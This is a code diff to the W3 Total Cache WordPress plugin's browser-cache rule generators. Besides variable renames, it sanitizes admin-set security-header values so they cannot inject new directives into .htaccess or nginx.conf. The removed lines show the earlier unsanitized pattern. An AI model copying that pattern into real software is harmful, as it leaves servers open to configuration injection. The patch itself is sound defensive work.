-			if ( $config->get_boolean( 'browsercache.security.pkp' ) ) {
-				$pin            = trim( $config->get_string( 'browsercache.security.pkp.pin' ) );
-				$pinbak         = trim( $config->get_string( 'browsercache.security.pkp.pin.backup' ) );
-				$extra          = $config->get_string( 'browsercache.security.pkp.extra' );
-				$url            = trim( $config->get_string( 'browsercache.security.pkp.report.url' ) );
-				$rep_only       = '1' === $config->get_string( 'browsercache.security.pkp.report.only' ) ? true : false;
+			if ( $w3tc_config->get_boolean( 'browsercache.security.pkp' ) ) {
+				$pin            = Util_Rule::sanitize_directive_value( trim( $w3tc_config->get_string( 'browsercache.security.pkp.pin' ) ) );
+				$pinbak         = Util_Rule::sanitize_directive_value( trim( $w3tc_config->get_string( 'browsercache.security.pkp.pin.backup' ) ) );
+				$extra          = Util_Rule::sanitize_directive_value( $w3tc_config->get_string( 'browsercache.security.pkp.extra' ) );
+				$w3tc_url       = Util_Rule::sanitize_directive_value( trim( $w3tc_config->get_string( 'browsercache.security.pkp.report.url' ) ) );
+				$rep_only       = '1' === $w3tc_config->get_string( 'browsercache.security.pkp.report.only' ) ? true : false;
 				$rules_headers .= '    Header set ' . ( $rep_only ? 'Public-Key-Pins-Report-Only' : 'Public-Key-Pins' ) .
 					' "pin-sha256="$pin"; pin-sha256="$pinbak"; max-age=' . $lifetime . ( strpos( $extra, 'inc' ) ? '; includeSubDomains' : '' ) .
-					( ! empty( $url ) ? '; report-uri="$url"' : '' ) . ""n";
+					( ! empty( $w3tc_url ) ? '; report-uri="$w3tc_url"' : '' ) . ""n";
 			}

-			if ( $config->get_boolean( 'browsercache.security.referrer.policy' ) ) {
-				$dir            = $config->get_string( 'browsercache.security.referrer.policy.directive' );
+			if ( $w3tc_config->get_boolean( 'browsercache.security.referrer.policy' ) ) {
+				$dir            = Util_Rule::sanitize_directive_value( $w3tc_config->get_string( 'browsercache.security.referrer.policy.directive' ) );
 				$rules_headers .= '    Header set Referrer-Policy "' . ( empty( $dir ) ? '' : $dir ) . ""n";
 			}

-			if ( $config->get_boolean( 'browsercache.security.csp' ) ) {
-				$base            = trim( $config->get_string( 'browsercache.security.csp.base' ) );
-				$reporturi       = trim( $config->get_string( 'browsercache.security.csp.reporturi' ) );
-				$reportto        = trim( $config->get_string( 'browsercache.security.csp.reportto' ) );
-				$frame           = trim( $config->get_string( 'browsercache.security.csp.frame' ) );
-				$connect         = trim( $config->get_string( 'browsercache.security.csp.connect' ) );
-				$font            = trim( $config->get_string( 'browsercache.security.csp.font' ) );
-				$script          = trim( $config->get_string( 'browsercache.security.csp.script' ) );
-				$style           = trim( $config->get_string( 'browsercache.security.csp.style' ) );
-				$img             = trim( $config->get_string( 'browsercache.security.csp.img' ) );
-				$media           = trim( $config->get_string( 'browsercache.security.csp.media' ) );
-				$object          = trim( $config->get_string( 'browsercache.security.csp.object' ) );
-				$plugin          = trim( $config->get_string( 'browsercache.security.csp.plugin' ) );
-				$form            = trim( $config->get_string( 'browsercache.security.csp.form' ) );
-				$frame_ancestors = trim( $config->get_string( 'browsercache.security.csp.frame.ancestors' ) );
-				$sandbox         = trim( $config->get_string( 'browsercache.security.csp.sandbox' ) );
-				$child           = trim( $config->get_string( 'browsercache.security.csp.child' ) );
-				$manifest        = trim( $config->get_string( 'browsercache.security.csp.manifest' ) );
-				$scriptelem      = trim( $config->get_string( 'browsercache.security.csp.scriptelem' ) );
-				$scriptattr      = trim( $config->get_string( 'browsercache.security.csp.scriptattr' ) );
-				$styleelem       = trim( $config->get_string( 'browsercache.security.csp.styleelem' ) );
-				$styleattr       = trim( $config->get_string( 'browsercache.security.csp.styleattr' ) );
-				$worker          = trim( $config->get_string( 'browsercache.security.csp.worker' ) );
-				$default         = trim( $config->get_string( 'browsercache.security.csp.default' ) );
+			if ( $w3tc_config->get_boolean( 'browsercache.security.csp' ) ) {
+				$base            = trim( $w3tc_config->get_string( 'browsercache.security.csp.base' ) );
+				$reporturi       = trim( $w3tc_config->get_string( 'browsercache.security.csp.reporturi' ) );
+				$reportto        = trim( $w3tc_config->get_string( 'browsercache.security.csp.reportto' ) );
+				$frame           = trim( $w3tc_config->get_string( 'browsercache.security.csp.frame' ) );
+				$connect         = trim( $w3tc_config->get_string( 'browsercache.security.csp.connect' ) );
+				$font            = trim( $w3tc_config->get_string( 'browsercache.security.csp.font' ) );
+				$script          = trim( $w3tc_config->get_string( 'browsercache.security.csp.script' ) );
+				$style           = trim( $w3tc_config->get_string( 'browsercache.security.csp.style' ) );
+				$img             = trim( $w3tc_config->get_string( 'browsercache.security.csp.img' ) );
+				$media           = trim( $w3tc_config->get_string( 'browsercache.security.csp.media' ) );
+				$object          = trim( $w3tc_config->get_string( 'browsercache.security.csp.object' ) );
+				$plugin          = trim( $w3tc_config->get_string( 'browsercache.security.csp.plugin' ) );
+				$form            = trim( $w3tc_config->get_string( 'browsercache.security.csp.form' ) );
+				$frame_ancestors = trim( $w3tc_config->get_string( 'browsercache.security.csp.frame.ancestors' ) );
+				$sandbox         = trim( $w3tc_config->get_string( 'browsercache.security.csp.sandbox' ) );
+				$child           = trim( $w3tc_config->get_string( 'browsercache.security.csp.child' ) );
+				$manifest        = trim( $w3tc_config->get_string( 'browsercache.security.csp.manifest' ) );
+				$scriptelem      = trim( $w3tc_config->get_string( 'browsercache.security.csp.scriptelem' ) );
+				$scriptattr      = trim( $w3tc_config->get_string( 'browsercache.security.csp.scriptattr' ) );
+				$styleelem       = trim( $w3tc_config->get_string( 'browsercache.security.csp.styleelem' ) );
+				$styleattr       = trim( $w3tc_config->get_string( 'browsercache.security.csp.styleattr' ) );
+				$worker          = trim( $w3tc_config->get_string( 'browsercache.security.csp.worker' ) );
+				$default         = trim( $w3tc_config->get_string( 'browsercache.security.csp.default' ) );

 				$dir = rtrim(
 					( ! empty( $base ) ? "base-uri $base; " : '' ) .
@@ -594,35 +596,43 @@
 					'; '
 				);

+				/**
+				 * Strip CR/LF/NUL/<> from the assembled directive before it
+				 * lands in `.htaccess` / `nginx.conf`. Defence-in-depth on
+				 * top of the Config::set-time reject — covers stored values
+				 * that pre-date this fix.
+				 */
+				$dir = Util_Rule::sanitize_directive_value( $dir );
+
 				if ( ! empty( $dir ) ) {
 					$rules_headers .= '    Header set Content-Security-Policy "' . $dir . ""n";
 				}
 			}

-			if ( $config->get_boolean( 'browsercache.security.cspro' ) && ( ! empty( $config->get_string( 'browsercache.security.cspro.reporturi' ) ) || ! empty( $config->get_string( 'browsercache.security.cspro.reportto' ) ) ) ) {
-				$base            = trim( $config->get_string( 'browsercache.security.cspro.base' ) );
-				$reporturi       = trim( $config->get_string( 'browsercache.security.cspro.reporturi' ) );
-				$reportto        = trim( $config->get_string( 'browsercache.security.cspro.reportto' ) );
-				$frame           = trim( $config->get_string( 'browsercache.security.cspro.frame' ) );
-				$connect         = trim( $config->get_string( 'browsercache.security.cspro.connect' ) );
-				$font            = trim( $config->get_string( 'browsercache.security.cspro.font' ) );
-				$script          = trim( $config->get_string( 'browsercache.security.cspro.script' ) );
-				$style           = trim( $config->get_string( 'browsercache.security.cspro.style' ) );
-				$img             = trim( $config->get_string( 'browsercache.security.cspro.img' ) );
-				$media           = trim( $config->get_string( 'browsercache.security.cspro.media' ) );
-				$object          = trim( $config->get_string( 'browsercache.security.cspro.object' ) );
-				$plugin          = trim( $config->get_string( 'browsercache.security.cspro.plugin' ) );
-				$form            = trim( $config->get_string( 'browsercache.security.cspro.form' ) );
-				$frame_ancestors = trim( $config->get_string( 'browsercache.security.cspro.frame.ancestors' ) );
-				$sandbox         = trim( $config->get_string( 'browsercache.security.cspro.sandbox' ) );
-				$child           = trim( $config->get_string( 'browsercache.security.cspro.child' ) );
-				$manifest        = trim( $config->get_string( 'browsercache.security.cspro.manifest' ) );
-				$scriptelem      = trim( $config->get_string( 'browsercache.security.cspro.scriptelem' ) );
-				$scriptattr      = trim( $config->get_string( 'browsercache.security.cspro.scriptattr' ) );
-				$styleelem       = trim( $config->get_string( 'browsercache.security.cspro.styleelem' ) );
-				$scriptelem      = trim( $config->get_string( 'browsercache.security.cspro.styleattr' ) );
-				$worker          = trim( $config->get_string( 'browsercache.security.cspro.worker' ) );
-				$default         = trim( $config->get_string( 'browsercache.security.cspro.default' ) );
+			if ( $w3tc_config->get_boolean( 'browsercache.security.cspro' ) && ( ! empty( $w3tc_config->get_string( 'browsercache.security.cspro.reporturi' ) ) || ! empty( $w3tc_config->get_string( 'browsercache.security.cspro.reportto' ) ) ) ) {
+				$base            = trim( $w3tc_config->get_string( 'browsercache.security.cspro.base' ) );
+				$reporturi       = trim( $w3tc_config->get_string( 'browsercache.security.cspro.reporturi' ) );
+				$reportto        = trim( $w3tc_config->get_string( 'browsercache.security.cspro.reportto' ) );
+				$frame           = trim( $w3tc_config->get_string( 'browsercache.security.cspro.frame' ) );
+				$connect         = trim( $w3tc_config->get_string( 'browsercache.security.cspro.connect' ) );
+				$font            = trim( $w3tc_config->get_string( 'browsercache.security.cspro.font' ) );
+				$script          = trim( $w3tc_config->get_string( 'browsercache.security.cspro.script' ) );
+				$style           = trim( $w3tc_config->get_string( 'browsercache.security.cspro.style' ) );
+				$img             = trim( $w3tc_config->get_string( 'browsercache.security.cspro.img' ) );
+				$media           = trim( $w3tc_config->get_string( 'browsercache.security.cspro.media' ) );
+				$object          = trim( $w3tc_config->get_string( 'browsercache.security.cspro.object' ) );
+				$plugin          = trim( $w3tc_config->get_string( 'browsercache.security.cspro.plugin' ) );
+				$form            = trim( $w3tc_config->get_string( 'browsercache.security.cspro.form' ) );
+				$frame_ancestors = trim( $w3tc_config->get_string( 'browsercache.security.cspro.frame.ancestors' ) );
+				$sandbox         = trim( $w3tc_config->get_string( 'browsercache.security.cspro.sandbox' ) );
+				$child           = trim( $w3tc_config->get_string( 'browsercache.security.cspro.child' ) );
+				$manifest        = trim( $w3tc_config->get_string( 'browsercache.security.cspro.manifest' ) );
+				$scriptelem      = trim( $w3tc_config->get_string( 'browsercache.security.cspro.scriptelem' ) );
+				$scriptattr      = trim( $w3tc_config->get_string( 'browsercache.security.cspro.scriptattr' ) );
+				$styleelem       = trim( $w3tc_config->get_string( 'browsercache.security.cspro.styleelem' ) );
+				$scriptelem      = trim( $w3tc_config->get_string( 'browsercache.security.cspro.styleattr' ) );
+				$worker          = trim( $w3tc_config->get_string( 'browsercache.security.cspro.worker' ) );
+				$default         = trim( $w3tc_config->get_string( 'browsercache.security.cspro.default' ) );
 				$dir             = rtrim(
 					( ! empty( $base ) ? "base-uri $base; " : '' ) .
 						( ! empty( $reporturi ) ? "report-uri $reporturi; " : '' ) .
@@ -650,23 +660,34 @@
 					'; '
 				);

+				// Strip CR/LF/NUL/<> — see the CSP block above.
+				$dir = Util_Rule::sanitize_directive_value( $dir );
+
 				if ( ! empty( $dir ) ) {
 					$rules_headers .= '    Header set Content-Security-Policy-Report-Only "' . $dir . ""n";
 				}
 			}

-			if ( $config->get_boolean( 'browsercache.security.fp' ) ) {
-				$fp_values = $config->get_array( 'browsercache.security.fp.values' );
+			if ( $w3tc_config->get_boolean( 'browsercache.security.fp' ) ) {
+				$w3tc_fp_values = $w3tc_config->get_array( 'browsercache.security.fp.values' );

 				$feature_v    = array();
 				$permission_v = array();

-				foreach ( $fp_values as $key => $value ) {
-					if ( ! empty( $value ) ) {
-						$value = str_replace( array( '"', "'" ), '', $value );
+				foreach ( $w3tc_fp_values as $w3tc_key => $w3tc_value ) {
+					if ( ! empty( $w3tc_value ) ) {
+						/**
+						 * Strip quotes (existing rule) AND newlines /
+						 * NUL / `<` / `>` so a Feature-Policy /
+						 * Permissions-Policy directive value can't
+						 * start a fresh Apache directive on the next
+						 * line of .htaccess.
+						 */
+						$w3tc_key   = Util_Rule::sanitize_directive_value( (string) $w3tc_key );
+						$w3tc_value = Util_Rule::sanitize_directive_value( str_replace( array( '"', "'" ), '', $w3tc_value ) );

-						$feature_v[]    = "$key '$value'";
-						$permission_v[] = "$key=($value)";
+						$feature_v[]    = "$w3tc_key '$w3tc_value'";
+						$permission_v[] = "$w3tc_key=($w3tc_value)";
 					}
 				}

@@ -694,7 +715,7 @@
 			unset( $rules_headers );
 		}

-		$g = new BrowserCache_Environment_Apache( $config );
+		$g = new BrowserCache_Environment_Apache( $w3tc_config );

 		/**
 		 * Filter: w3tc_browsercache_rules_apache_rewrite
@@ -712,22 +733,22 @@
 	/**
 	 * Writes cache rules
 	 *
-	 * @param Config $config     Config.
+	 * @param Config $w3tc_config     Config.
 	 * @param array  $mime_types Mime types.
 	 * @param string $section    Section.
 	 *
 	 * @return string
 	 */
-	private function _rules_cache_generate_apache_for_type( $config, $mime_types, $section ) {
-		$is_disc_enhanced  = $config->get_boolean( 'pgcache.enabled' ) && 'file_generic' === $config->get_string( 'pgcache.engine' );
-		$cache_control     = $config->get_boolean( 'browsercache.' . $section . '.cache.control' );
-		$etag              = $config->get_boolean( 'browsercache.' . $section . '.etag' );
-		$w3tc              = $config->get_boolean( 'browsercache.' . $section . '.w3tc' );
-		$unset_setcookie   = $config->get_boolean( 'browsercache.' . $section . '.nocookies' );
-		$set_last_modified = $config->get_boolean( 'browsercache.' . $section . '.last_modified' );
-		$compatibility     = $config->get_boolean( 'pgcache.compatibility' );
+	private function _rules_cache_generate_apache_for_type( $w3tc_config, $mime_types, $section ) {
+		$is_disc_enhanced  = $w3tc_config->get_boolean( 'pgcache.enabled' ) && 'file_generic' === $w3tc_config->get_string( 'pgcache.engine' );
+		$cache_control     = $w3tc_config->get_boolean( 'browsercache.' . $section . '.cache.control' );
+		$etag              = $w3tc_config->get_boolean( 'browsercache.' . $section . '.etag' );
+		$w3tc              = $w3tc_config->get_boolean( 'browsercache.' . $section . '.w3tc' );
+		$unset_setcookie   = $w3tc_config->get_boolean( 'browsercache.' . $section . '.nocookies' );
+		$set_last_modified = $w3tc_config->get_boolean( 'browsercache.' . $section . '.last_modified' );
+		$compatibility     = $w3tc_config->get_boolean( 'pgcache.compatibility' );

-		$mime_types2 = apply_filters( 'w3tc_browsercache_rules_section_extensions', $mime_types, $config, $section );
+		$mime_types2 = apply_filters( 'w3tc_browsercache_rules_section_extensions', $mime_types, $w3tc_config, $section );
 		$extensions  = array_keys( $mime_types2 );

 		// Remove ext from filesmatch if its the same as permalink extension.
@@ -743,7 +764,7 @@
 		$headers_rules = '';

 		if ( $cache_control ) {
-			$cache_policy = $config->get_string( 'browsercache.' . $section . '.cache.policy' );
+			$cache_policy = $w3tc_config->get_string( 'browsercache.' . $section . '.cache.policy' );

 			switch ( $cache_policy ) {
 				case 'cache':
@@ -752,8 +773,8 @@
 					break;

 				case 'cache_public_maxage':
-					$expires  = $config->get_boolean( 'browsercache.' . $section . '.expires' );
-					$lifetime = $config->get_integer( 'browsercache.' . $section . '.lifetime' );
+					$expires  = $w3tc_config->get_boolean( 'browsercache.' . $section . '.expires' );
+					$lifetime = $w3tc_config->get_integer( 'browsercache.' . $section . '.lifetime' );

 					$headers_rules .= "        Header set Pragma "public"n";

@@ -776,8 +797,8 @@
 					break;

 				case 'cache_maxage':
-					$expires  = $config->get_boolean( 'browsercache.' . $section . '.expires' );
-					$lifetime = $config->get_integer( 'browsercache.' . $section . '.lifetime' );
+					$expires  = $w3tc_config->get_boolean( 'browsercache.' . $section . '.expires' );
+					$lifetime = $w3tc_config->get_integer( 'browsercache.' . $section . '.lifetime' );

 					$headers_rules .= "        Header set Pragma "public"n";

@@ -800,7 +821,7 @@
 					break;

 				case 'cache_immutable':
-					$lifetime       = $config->get_integer( 'browsercache.' . $section . '.lifetime' );
+					$lifetime       = $w3tc_config->get_integer( 'browsercache.' . $section . '.lifetime' );
 					$headers_rules .= "        Header set Pragma "public"n";
 					$headers_rules .= "        Header set Cache-Control "public, max-age=" . $lifetime . ", immutable"n";
 					break;
@@ -849,14 +870,14 @@
 	 * Return CDN rules section
 	 *
 	 * @param array  $section_rules Section rules.
-	 * @param Config $config        Config.
+	 * @param Config $w3tc_config        Config.
 	 *
 	 * @return array
 	 */
-	public function w3tc_cdn_rules_section( $section_rules, $config ) {
+	public function w3tc_cdn_rules_section( $section_rules, $w3tc_config ) {
 		if ( Util_Environment::is_litespeed() ) {
-			$o             = new BrowserCache_Environment_LiteSpeed( $config );
-			$section_rules = $o->w3tc_cdn_rules_section( $section_rules );
+			$w3tc_o        = new BrowserCache_Environment_LiteSpeed( $w3tc_config );
+			$section_rules = $w3tc_o->w3tc_cdn_rules_section( $section_rules );
 		}

 		return $section_rules;
--- a/w3-total-cache/BrowserCache_Environment_Apache.php
+++ b/w3-total-cache/BrowserCache_Environment_Apache.php
@@ -21,17 +21,17 @@
 	 *
 	 * @var Config
 	 */
-	private $c;
+	private $w3tc_c;

 	/**
 	 * Constructor
 	 *
-	 * @param Config $config Config.
+	 * @param Config $w3tc_config Config.
 	 *
 	 * @return void
 	 */
-	public function __construct( $config ) {
-		$this->c = $config;
+	public function __construct( $w3tc_config ) {
+		$this->w3tc_c = $w3tc_config;
 	}

 	/**
@@ -40,12 +40,12 @@
 	 * @return string
 	 */
 	public function rules_rewrite() {
-		if ( ! $this->c->get_boolean( 'browsercache.rewrite' ) ) {
+		if ( ! $this->w3tc_c->get_boolean( 'browsercache.rewrite' ) ) {
 			return '';
 		}

 		$core       = Dispatcher::component( 'BrowserCache_Core' );
-		$extensions = $core->get_replace_extensions( $this->c );
+		$extensions = $core->get_replace_extensions( $this->w3tc_c );

 		$rules   = array();
 		$rules[] = '<IfModule mod_rewrite.c>';
@@ -65,7 +65,7 @@
 	 * @return string
 	 */
 	public function rules_no404wp( $mime_types ) {
-		if ( ! $this->c->get_boolean( 'browsercache.no404wp' ) ) {
+		if ( ! $this->w3tc_c->get_boolean( 'browsercache.no404wp' ) ) {
 			return '';
 		}

@@ -75,18 +75,18 @@

 		$extensions = array_merge( array_keys( $cssjs_types ), array_keys( $html_types ), array_keys( $other_types ) );

-		$permalink_structure     = get_option( 'permalink_structure' );
-		$permalink_structure_ext = ltrim( strrchr( $permalink_structure, '.' ), '.' );
+		$w3tc_permalink_structure = get_option( 'permalink_structure' );
+		$permalink_structure_ext  = ltrim( strrchr( $w3tc_permalink_structure, '.' ), '.' );

 		if ( '' !== $permalink_structure_ext ) {
-			foreach ( $extensions as $index => $extension ) {
-				if ( strstr( $extension, $permalink_structure_ext ) !== false ) {
-					$extensions[ $index ] = preg_replace( '~|?' . Util_Environment::preg_quote( $permalink_structure_ext ) . '|?~', '', $extension );
+			foreach ( $extensions as $w3tc_index => $w3tc_extension ) {
+				if ( strstr( $w3tc_extension, $permalink_structure_ext ) !== false ) {
+					$extensions[ $w3tc_index ] = preg_replace( '~|?' . Util_Environment::preg_quote( $permalink_structure_ext ) . '|?~', '', $w3tc_extension );
 				}
 			}
 		}

-		$exceptions = $this->c->get_array( 'browsercache.no404wp.exceptions' );
+		$exceptions = $this->w3tc_c->get_array( 'browsercache.no404wp.exceptions' );

 		$wp_uri = network_home_url( '', 'relative' );
 		$wp_uri = rtrim( $wp_uri, '/' );
--- a/w3-total-cache/BrowserCache_Environment_LiteSpeed.php
+++ b/w3-total-cache/BrowserCache_Environment_LiteSpeed.php
@@ -22,17 +22,17 @@
 	 *
 	 * @var Config
 	 */
-	private $c;
+	private $w3tc_c;

 	/**
 	 * Constructor
 	 *
-	 * @param Config $config Config.
+	 * @param Config $w3tc_config Config.
 	 *
 	 * @return void
 	 */
-	public function __construct( $config ) {
-		$this->c = $config;
+	public function __construct( $w3tc_config ) {
+		$this->w3tc_c = $w3tc_config;
 	}

 	/**
@@ -50,8 +50,8 @@
 			'content'  => $this->generate( $mime_types ),
 		);

-		if ( $this->c->get_boolean( 'browsercache.rewrite' ) || $this->c->get_boolean( 'browsercache.no404wp' ) ) {
-			$g               = new BrowserCache_Environment_Apache( $this->c );
+		if ( $this->w3tc_c->get_boolean( 'browsercache.rewrite' ) || $this->w3tc_c->get_boolean( 'browsercache.no404wp' ) ) {
+			$g               = new BrowserCache_Environment_Apache( $this->w3tc_c );
 			$rewrite_rules[] = array(
 				'filename' => Util_Rule::get_apache_rules_path(),
 				'content'  =>
@@ -87,9 +87,9 @@
 		$this->generate_section( $rules, $mime_types['html'], 'html' );
 		$this->generate_section( $rules, $mime_types['other'], 'other' );

-		if ( $this->c->get_boolean( 'browsercache.rewrite' ) ) {
+		if ( $this->w3tc_c->get_boolean( 'browsercache.rewrite' ) ) {
 			$core       = Dispatcher::component( 'BrowserCache_Core' );
-			$extensions = $core->get_replace_extensions( $this->c );
+			$extensions = $core->get_replace_extensions( $this->w3tc_c );

 			$rules .= "<IfModule mod_rewrite.c>n";
 			$rules .= "    RewriteCond %{REQUEST_FILENAME} !-fn";
@@ -112,16 +112,16 @@
 	 * @return void
 	 */
 	private function generate_section( &$rules, $mime_types, $section ) {
-		$expires       = $this->c->get_boolean( 'browsercache.' . $section . '.expires' );
-		$cache_control = $this->c->get_boolean( 'browsercache.' . $section . '.cache.control' );
-		$w3tc          = $this->c->get_boolean( 'browsercache.' . $section . '.w3tc' );
-		$last_modified = $this->c->get_boolean( 'browsercache.' . $section . '.last_modified' );
+		$expires       = $this->w3tc_c->get_boolean( 'browsercache.' . $section . '.expires' );
+		$cache_control = $this->w3tc_c->get_boolean( 'browsercache.' . $section . '.cache.control' );
+		$w3tc          = $this->w3tc_c->get_boolean( 'browsercache.' . $section . '.w3tc' );
+		$last_modified = $this->w3tc_c->get_boolean( 'browsercache.' . $section . '.last_modified' );

 		if ( $expires || $cache_control || $w3tc || ! $last_modified ) {
 			$mime_types2 = apply_filters(
 				'w3tc_browsercache_rules_section_extensions',
 				$mime_types,
-				$this->c,
+				$this->w3tc_c,
 				$section
 			);

@@ -137,14 +137,14 @@
 			$extensions_string = implode( '|', $extensions );

 			$section_rules = self::section_rules( $section );
-			$section_rules = apply_filters( 'w3tc_browsercache_rules_section', $section_rules, $this->c, $section );
+			$section_rules = apply_filters( 'w3tc_browsercache_rules_section', $section_rules, $this->w3tc_c, $section );

 			$context_rules = $section_rules['other'];

 			if ( ! empty( $section_rules['add_header'] ) ) {
 				$context_rules[] = "    extraHeaders <<<END_extraHeaders";
-				foreach ( $section_rules['add_header'] as $line ) {
-					$context_rules[] = '        ' . $line;
+				foreach ( $section_rules['add_header'] as $w3tc_line ) {
+					$context_rules[] = '        ' . $w3tc_line;
 				}
 				$context_rules[] = "    END_extraHeaders";
 			}
@@ -173,8 +173,8 @@
 	public function section_rules( $section ) {
 		$rules = array();

-		$expires  = $this->c->get_boolean( "browsercache.$section.expires" );
-		$lifetime = $this->c->get_integer( "browsercache.$section.lifetime" );
+		$expires  = $this->w3tc_c->get_boolean( "browsercache.$section.expires" );
+		$lifetime = $this->w3tc_c->get_integer( "browsercache.$section.lifetime" );

 		if ( $expires ) {
 			$rules[] = '    enableExpires 1';
@@ -186,12 +186,12 @@

 		/*
 		Lastmod support not implemented
-		if ( $this->c->get_boolean( "browsercache.$section.last_modified" ) )
+		if ( $this->w3tc_c->get_boolean( "browsercache.$section.last_modified" ) )
 		*/

 		$add_header_rules = array();
-		if ( $this->c->get_boolean( "browsercache.$section.cache.control" ) ) {
-			$cache_policy = $this->c->get_string( "browsercache.$section.cache.policy" );
+		if ( $this->w3tc_c->get_boolean( "browsercache.$section.cache.control" ) ) {
+			$cache_policy = $this->w3tc_c->get_string( "browsercache.$section.cache.policy" );

 			switch ( $cache_policy ) {
 				case 'cache':
@@ -263,7 +263,7 @@
 		}

 		// Need htaccess for rewrites.
-		$rewrite = $this->c->get_boolean( 'browsercache.rewrite' );
+		$rewrite = $this->w3tc_c->get_boolean( 'browsercache.rewrite' );

 		return array(
 			'add_header' => $add_header_rules,
--- a/w3-total-cache/BrowserCache_Environment_Nginx.php
+++ b/w3-total-cache/BrowserCache_Environment_Nginx.php
@@ -21,17 +21,17 @@
 	 *
 	 * @var Config
 	 */
-	private $c;
+	private $w3tc_c;

 	/**
 	 * Constructor
 	 *
-	 * @param Config $config Config.
+	 * @param Config $w3tc_config Config.
 	 *
 	 * @return void
 	 */
-	public function __construct( $config ) {
-		$this->c = $config;
+	public function __construct( $w3tc_config ) {
+		$this->w3tc_c = $w3tc_config;
 	}

 	/**
@@ -68,9 +68,9 @@
 		$rules  = '';
 		$rules .= W3TC_MARKER_BEGIN_BROWSERCACHE_CACHE . "n";

-		if ( $this->c->get_boolean( 'browsercache.rewrite' ) ) {
+		if ( $this->w3tc_c->get_boolean( 'browsercache.rewrite' ) ) {
 			$core       = Dispatcher::component( 'BrowserCache_Core' );
-			$extensions = $core->get_replace_extensions( $this->c );
+			$extensions = $core->get_replace_extensions( $this->w3tc_c );

 			$exts = implode( '|', $extensions );

@@ -87,8 +87,7 @@
 					$home_uri = W3TC_HOME_URI;
 				} else {
 					$primary_blog_id = get_network()->site_id;
-					$home_uri        = wp_parse_url( get_home_url( $primary_blog_id ), PHP_URL_PATH );
-					$home_uri        = rtrim( $home_uri, '/' );
+					$home_uri        = Util_Environment::url_to_uri( get_home_url( $primary_blog_id ) );
 				}

 				$rules .= "if ($uri ~ '^$home_uri/[_0-9a-zA-Z-]+(?<w3tcbc_base>/wp-.+).(x[0-9]{5})(?<w3tcbc_ext>.($exts))$') {n";
@@ -102,9 +101,9 @@
 			$rules .= "}n";
 		}

-		$cssjs_brotli = $this->c->get_boolean( 'browsercache.cssjs.brotli' );
-		$html_brotli  = $this->c->get_boolean( 'browsercache.html.brotli' );
-		$other_brotli = $this->c->get_boolean( 'browsercache.other.brotli' );
+		$cssjs_brotli = $this->w3tc_c->get_boolean( 'browsercache.cssjs.brotli' );
+		$html_brotli  = $this->w3tc_c->get_boolean( 'browsercache.html.brotli' );
+		$other_brotli = $this->w3tc_c->get_boolean( 'browsercache.other.brotli' );

 		if ( $cssjs_brotli || $html_brotli || $other_brotli ) {
 			$brotli_types = array();
@@ -130,9 +129,9 @@
 			$rules .= 'brotli_types ' . implode( ' ', array_unique( $brotli_types ) ) . ";n";
 		}

-		$cssjs_compression = $this->c->get_boolean( 'browsercache.cssjs.compression' );
-		$html_compression  = $this->c->get_boolean( 'browsercache.html.compression' );
-		$other_compression = $this->c->get_boolean( 'browsercache.other.compression' );
+		$cssjs_compression = $this->w3tc_c->get_boolean( 'browsercache.cssjs.compression' );
+		$html_compression  = $this->w3tc_c->get_boolean( 'browsercache.html.compression' );
+		$other_compression = $this->w3tc_c->get_boolean( 'browsercache.other.compression' );

 		if ( $cssjs_compression || $html_compression || $other_compression ) {
 			$compression_types = array();
@@ -158,8 +157,8 @@
 			$rules .= "gzip_types " . implode( ' ', array_unique( $compression_types ) ) . ";n";
 		}

-		if ( $this->c->get_boolean( 'browsercache.no404wp' ) ) {
-			$exceptions = $this->c->get_array( 'browsercache.no404wp.exceptions' );
+		if ( $this->w3tc_c->get_boolean( 'browsercache.no404wp' ) ) {
+			$exceptions = $this->w3tc_c->get_array( 'browsercache.no404wp.exceptions' );

 			$impoloded = implode( '|', $exceptions );
 			if ( ! empty( $impoloded ) ) {
@@ -190,77 +189,91 @@
 	private function security_rules() {
 		$rules = array();

-		if ( $this->c->get_boolean( 'browsercache.hsts' ) ||
-			$this->c->get_boolean( 'browsercache.security.xfo' ) ||
-			$this->c->get_boolean( 'browsercache.security.xss' ) ||
-			$this->c->get_boolean( 'browsercache.security.xcto' ) ||
-			$this->c->get_boolean( 'browsercache.security.pkp' ) ||
-			$this->c->get_boolean( 'browsercache.security.referrer.policy' ) ||
-			$this->c->get_boolean( 'browsercache.security.csp' ) ||
-			$this->c->get_boolean( 'browsercache.security.cspro' ) ||
-			$this->c->get_boolean( 'browsercache.security.fp' )
+		/**
+		 * Local shorthand: render-time strip set for every admin-set
+		 * security-header string before it lands inside a quoted
+		 * `add_header` value. Matches the Apache renderer in
+		 * `BrowserCache_Environment::security_rules()` so an admin-set
+		 * value carrying a CR/LF / NUL / `<` / `>` / `"` cannot start
+		 * a fresh directive on the next line, regardless of the server
+		 * flavour being emitted.
+		 */
+		$w3tc_c = $this->w3tc_c;
+		$g      = function ( $w3tc_key ) use ( $w3tc_c ) {
+			return Util_Rule::sanitize_directive_value( $w3tc_c->get_string( $w3tc_key ) );
+		};
+
+		if ( $this->w3tc_c->get_boolean( 'browsercache.hsts' ) ||
+			$this->w3tc_c->get_boolean( 'browsercache.security.xfo' ) ||
+			$this->w3tc_c->get_boolean( 'browsercache.security.xss' ) ||
+			$this->w3tc_c->get_boolean( 'browsercache.security.xcto' ) ||
+			$this->w3tc_c->get_boolean( 'browsercache.security.pkp' ) ||
+			$this->w3tc_c->get_boolean( 'browsercache.security.referrer.policy' ) ||
+			$this->w3tc_c->get_boolean( 'browsercache.security.csp' ) ||
+			$this->w3tc_c->get_boolean( 'browsercache.security.cspro' ) ||
+			$this->w3tc_c->get_boolean( 'browsercache.security.fp' )
 		) {
-			$lifetime = $this->c->get_integer( 'browsercache.other.lifetime' );
+			$lifetime = $this->w3tc_c->get_integer( 'browsercache.other.lifetime' );

-			if ( $this->c->get_boolean( 'browsercache.hsts' ) ) {
-				$dir     = $this->c->get_string( 'browsercache.security.hsts.directive' );
+			if ( $this->w3tc_c->get_boolean( 'browsercache.hsts' ) ) {
+				$dir     = $g( 'browsercache.security.hsts.directive' );
 				$rules[] = "add_header Strict-Transport-Security "max-age=$lifetime" . ( strpos( $dir, "inc" ) ? "; includeSubDomains" : "" ) . ( strpos( $dir, "pre" ) ? "; preload" : "" ) . "";";
 			}

-			if ( $this->c->get_boolean( 'browsercache.security.xfo' ) ) {
-				$dir = $this->c->get_string( 'browsercache.security.xfo.directive' );
-				$url = trim( $this->c->get_string( 'browsercache.security.xfo.allow' ) );
-				if ( empty( $url ) ) {
-					$url = Util_Environment::home_url_maybe_https();
